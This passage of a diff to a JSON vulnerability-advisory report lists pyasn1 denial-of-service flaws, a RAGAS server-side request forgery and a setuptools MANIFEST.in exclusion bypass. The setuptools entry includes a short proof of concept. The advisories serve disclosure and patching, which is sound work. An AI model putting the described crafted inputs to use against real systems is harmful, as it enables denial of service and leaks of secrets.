{ - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3455.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -3956,6 +3855,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -3963,8 +3863,7 @@ { "fixed": "0.6.4" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4009,17 +3908,12 @@ "0.6.1", "0.6.2", "0.6.3" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3455.yaml" + } } ], - "aliases": [ - "CVE-2026-59884", - "GHSA-m4p7-r5rc-7g4j" - ], - "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.", - "id": "PYSEC-2026-3455", - "modified": "2026-07-22T11:00:08.839373736Z", - "published": "2026-07-14T17:17:14.750Z", "references": [ { "type": "ADVISORY", @@ -4033,22 +3927,26 @@ "type": "FIX", "url": "https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5" } - ], + ] + }, + { + "modified": "2026-07-22T11:00:08Z", + "published": "2026-07-14T17:17:14Z", "schema_version": "1.7.5", + "id": "PYSEC-2026-3456", + "aliases": [ + "CVE-2026-59885", + "GHSA-8ppf-4f7h-5ppj" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } - ] - }, - { + ], "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3456.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -4056,6 +3954,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -4063,8 +3962,7 @@ { "fixed": "0.6.4" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4109,17 +4007,12 @@ "0.6.1", "0.6.2", "0.6.3" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3456.yaml" + } } ], - "aliases": [ - "CVE-2026-59885", - "GHSA-8ppf-4f7h-5ppj" - ], - "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.", - "id": "PYSEC-2026-3456", - "modified": "2026-07-22T11:00:08.814095424Z", - "published": "2026-07-14T17:17:14.880Z", "references": [ { "type": "ADVISORY", @@ -4133,22 +4026,26 @@ "type": "FIX", "url": "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9" } - ], + ] + }, + { + "modified": "2026-07-22T11:00:08Z", + "published": "2026-07-14T17:17:15Z", "schema_version": "1.7.5", + "id": "PYSEC-2026-3457", + "aliases": [ + "CVE-2026-59886", + "GHSA-hm4w-wwcw-mr6r" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } - ] - }, - { + ], "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3457.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -4156,6 +4053,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -4163,8 +4061,7 @@ { "fixed": "0.6.4" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4209,17 +4106,12 @@ "0.6.1", "0.6.2", "0.6.3" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3457.yaml" + } } ], - "aliases": [ - "CVE-2026-59886", - "GHSA-hm4w-wwcw-mr6r" - ], - "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.", - "id": "PYSEC-2026-3457", - "modified": "2026-07-22T11:00:08.839691351Z", - "published": "2026-07-14T17:17:15.010Z", "references": [ { "type": "ADVISORY", @@ -4233,22 +4125,30 @@ "type": "FIX", "url": "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886" } - ], + ] + }, + { + "modified": "2026-07-23T09:29:39Z", + "published": "2026-07-21T19:11:03Z", "schema_version": "1.7.5", + "id": "GHSA-8ppf-4f7h-5ppj", + "aliases": [ + "CVE-2026-59885", + "PYSEC-2026-3456" + ], + "related": [ + "CGA-cgqf-4g9j-p3mr" + ], + "summary": "pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service", + "details": "### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } - ] - }, - { + ], "affected": [ { - "database_specific": { - "last_known_affected_version_range": "<= 0.6.3", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-8ppf-4f7h-5ppj/GHSA-8ppf-4f7h-5ppj.json" - }, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -4256,6 +4156,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -4263,8 +4164,7 @@ { "fixed": "0.6.4" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4309,27 +4209,13 @@ "0.6.1", "0.6.2", "0.6.3" - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.6.3", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-8ppf-4f7h-5ppj/GHSA-8ppf-4f7h-5ppj.json" + } } ], - "aliases": [ - "CVE-2026-59885", - "PYSEC-2026-3456" - ], - "database_specific": { - "cwe_ids": [ - "CWE-400", - "CWE-407" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:11:03Z", - "nvd_published_at": "2026-07-14T17:17:14Z", - "severity": "HIGH" - }, - "details": "### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.", - "id": "GHSA-8ppf-4f7h-5ppj", - "modified": "2026-07-22T11:11:16.942605742Z", - "published": "2026-07-21T19:11:03Z", "references": [ { "type": "WEB", @@ -4352,22 +4238,39 @@ "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" } ], + "database_specific": { + "cwe_ids": [ + "CWE-400", + "CWE-407" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:11:03Z", + "nvd_published_at": "2026-07-14T17:17:14Z", + "severity": "HIGH" + } + }, + { + "modified": "2026-07-23T09:29:38Z", + "published": "2026-07-21T19:11:20Z", "schema_version": "1.7.5", + "id": "GHSA-hm4w-wwcw-mr6r", + "aliases": [ + "CVE-2026-59886", + "PYSEC-2026-3457" + ], + "related": [ + "CGA-cpqg-2679-h8hg" + ], + "summary": "pyasn1: Uncontrolled resource consumption when converting decoded REAL values", + "details": "### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value \u2014 prettyPrint(), str(), comparison, arithmetic, or an explicit float() call \u2014 consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real \u2014 float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "summary": "pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service" - }, - { "affected": [ { - "database_specific": { - "last_known_affected_version_range": "<= 0.6.3", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hm4w-wwcw-mr6r/GHSA-hm4w-wwcw-mr6r.json" - }, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -4375,6 +4278,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -4382,8 +4286,7 @@ { "fixed": "0.6.4" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4428,26 +4331,13 @@ "0.6.1", "0.6.2", "0.6.3" - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.6.3", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hm4w-wwcw-mr6r/GHSA-hm4w-wwcw-mr6r.json" + } } ], - "aliases": [ - "CVE-2026-59886", - "PYSEC-2026-3457" - ], - "database_specific": { - "cwe_ids": [ - "CWE-400" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:11:20Z", - "nvd_published_at": "2026-07-14T17:17:15Z", - "severity": "HIGH" - }, - "details": "### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value \u2014 prettyPrint(), str(), comparison, arithmetic, or an explicit float() call \u2014 consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real \u2014 float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.", - "id": "GHSA-hm4w-wwcw-mr6r", - "modified": "2026-07-22T11:11:16.518263592Z", - "published": "2026-07-21T19:11:20Z", "references": [ { "type": "WEB", @@ -4470,15 +4360,56 @@ "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" } ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "type": "CVSS_V3" - } + "database_specific": { + "cwe_ids": [ + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:11:20Z", + "nvd_published_at": "2026-07-14T17:17:15Z", + "severity": "HIGH" + } + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-3455" ], - "summary": "pyasn1: Uncontrolled resource consumption when converting decoded REAL values" + "aliases": [ + "CVE-2026-59884", + "GHSA-m4p7-r5rc-7g4j", + "PYSEC-2026-3455" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-3456", + "GHSA-8ppf-4f7h-5ppj" + ], + "aliases": [ + "CVE-2026-59885", + "GHSA-8ppf-4f7h-5ppj", + "PYSEC-2026-3456" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-3457", + "GHSA-hm4w-wwcw-mr6r" + ], + "aliases": [ + "CVE-2026-59886", + "GHSA-hm4w-wwcw-mr6r", + "PYSEC-2026-3457" + ], + "max_severity": "7.5" } + ], + "licenses": [ + "BSD-2-Clause" ] }, { @@ -4667,30 +4598,30 @@ "version": "0.4.3", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-3046", - "GHSA-95ww-475f-pr4f" - ], + "modified": "2026-07-13T16:32:43Z", + "published": "2026-07-13T15:02:51Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3046", "aliases": [ "CVE-2026-6587", - "GHSA-95ww-475f-pr4f", - "PYSEC-2026-3046" + "GHSA-95ww-475f-pr4f" + ], + "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module", + "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" + } ], - "max_severity": "6.3" - } - ], - "licenses": [ - "non-standard" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/ragas/PYSEC-2026-3046.yaml" - }, "package": { "ecosystem": "PyPI", "name": "ragas", @@ -4698,6 +4629,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0.2.3" @@ -4705,8 +4637,7 @@ { "last_affected": "0.4.3" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4744,17 +4675,12 @@ "0.4.1", "0.4.2", "0.4.3" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/ragas/PYSEC-2026-3046.yaml" + } } ], - "aliases": [ - "CVE-2026-6587", - "GHSA-95ww-475f-pr4f" - ], - "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", - "id": "PYSEC-2026-3046", - "modified": "2026-07-13T16:32:43.987086677Z", - "published": "2026-07-13T15:02:51.237201Z", "references": [ { "type": "ADVISORY", @@ -4788,26 +4714,31 @@ "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-95ww-475f-pr4f" } - ], + ] + }, + { + "modified": "2026-07-13T16:42:34Z", + "published": "2026-04-20T00:30:13Z", "schema_version": "1.7.5", + "id": "GHSA-95ww-475f-pr4f", + "aliases": [ + "CVE-2026-6587", + "PYSEC-2026-3046" + ], + "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module", + "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" }, { - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P", - "type": "CVSS_V4" + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" } ], - "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module" - }, - { "affected": [ { - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-95ww-475f-pr4f/GHSA-95ww-475f-pr4f.json" - }, "package": { "ecosystem": "PyPI", "name": "ragas", @@ -4815,6 +4746,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0.2.3" @@ -4822,8 +4754,7 @@ { "last_affected": "0.4.3" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -4861,26 +4792,12 @@ "0.4.1", "0.4.2", "0.4.3" - ] + ], + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-95ww-475f-pr4f/GHSA-95ww-475f-pr4f.json" + } } ], - "aliases": [ - "CVE-2026-6587", - "PYSEC-2026-3046" - ], - "database_specific": { - "cwe_ids": [ - "CWE-918" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-04-22T22:02:02Z", - "nvd_published_at": "2026-04-20T00:16:34Z", - "severity": "LOW" - }, - "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", - "id": "GHSA-95ww-475f-pr4f", - "modified": "2026-07-13T16:42:34.978083453Z", - "published": "2026-04-20T00:30:13Z", "references": [ { "type": "ADVISORY", @@ -4907,19 +4824,33 @@ "url": "https://vuldb.com/vuln/358222/cti" } ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", - "type": "CVSS_V3" - }, - { - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P", - "type": "CVSS_V4" - } + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T22:02:02Z", + "nvd_published_at": "2026-04-20T00:16:34Z", + "severity": "LOW" + } + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-3046", + "GHSA-95ww-475f-pr4f" + ], + "aliases": [ + "CVE-2026-6587", + "GHSA-95ww-475f-pr4f", + "PYSEC-2026-3046" ], - "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module" + "max_severity": "6.3" } + ], + "licenses": [ + "non-standard" ] }, { @@ -5128,32 +5059,26 @@ "version": "82.0.1", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-3447", - "GHSA-h35f-9h28-mq5c" - ], + "modified": "2026-07-14T10:56:37Z", + "published": "2026-07-08T17:17:27Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3447", "aliases": [ "BIT-setuptools-2026-59890", "CVE-2026-59890", - "GHSA-h35f-9h28-mq5c", - "PYSEC-2026-3447" + "GHSA-h35f-9h28-mq5c" + ], + "details": "setuptools is a package that allows users to download, build, install, upgrade, and uninstall Python packages. Prior to 83.0.0, FileList applied MANIFEST.in exclude, global-exclude, recursive-exclude, and prune directives by matching compiled glob patterns against on-disk file names without Unicode normalization, so on macOS APFS or HFS+ an NFD file name could bypass an NFC exclusion rule and be packed into a source distribution. This issue is fixed in version 83.0.0.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N" + } ], - "max_severity": "6.1" - } - ], - "licenses": [ - "MIT" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/setuptools/PYSEC-2026-3447.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "setuptools", @@ -5161,6 +5086,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -5168,8 +5094,7 @@ { "fixed": "83.0.0" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -5796,18 +5721,12 @@ "9.0", "9.0.1", "9.1" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/setuptools/PYSEC-2026-3447.yaml" + } } ], - "aliases": [ - "BIT-setuptools-2026-59890", - "CVE-2026-59890", - "GHSA-h35f-9h28-mq5c" - ], - "details": "setuptools is a package that allows users to download, build, install, upgrade, and uninstall Python packages. Prior to 83.0.0, FileList applied MANIFEST.in exclude, global-exclude, recursive-exclude, and prune directives by matching compiled glob patterns against on-disk file names without Unicode normalization, so on macOS APFS or HFS+ an NFD file name could bypass an NFC exclusion rule and be packed into a source distribution. This issue is fixed in version 83.0.0.", - "id": "PYSEC-2026-3447", - "modified": "2026-07-14T10:56:37.948360943Z", - "published": "2026-07-08T17:17:27.020Z", "references": [ { "type": "ADVISORY", @@ -5821,21 +5740,31 @@ "type": "EVIDENCE", "url": "https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c" } - ], + ] + }, + { + "modified": "2026-07-23T09:29:39Z", + "published": "2026-07-21T19:09:21Z", "schema_version": "1.7.5", + "id": "GHSA-h35f-9h28-mq5c", + "aliases": [ + "BIT-setuptools-2026-59890", + "CVE-2026-59890", + "PYSEC-2026-3447" + ], + "related": [ + "CGA-cvf4-h23f-fpjm" + ], + "summary": "setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+", + "details": "## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py (FileList.global_exclude)\ndef global_exclude(self, pattern):\n match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD\n return self._remove_files(match.match) # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`caf\u00e9` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`caf\u00e9` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes\u2192str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule \u2014 an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_caf\u00e9.txt # rule saved NFC\n```\n\nand an on-disk file `secret_caf\u00e9.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped \u2014 isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.", "severity": [ { - "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N" } - ] - }, - { + ], "affected": [ { - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-h35f-9h28-mq5c/GHSA-h35f-9h28-mq5c.json" - }, "package": { "ecosystem": "PyPI", "name": "setuptools", @@ -5843,6 +5772,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -5850,8 +5780,7 @@ { "fixed": "83.0.0" } - ], - 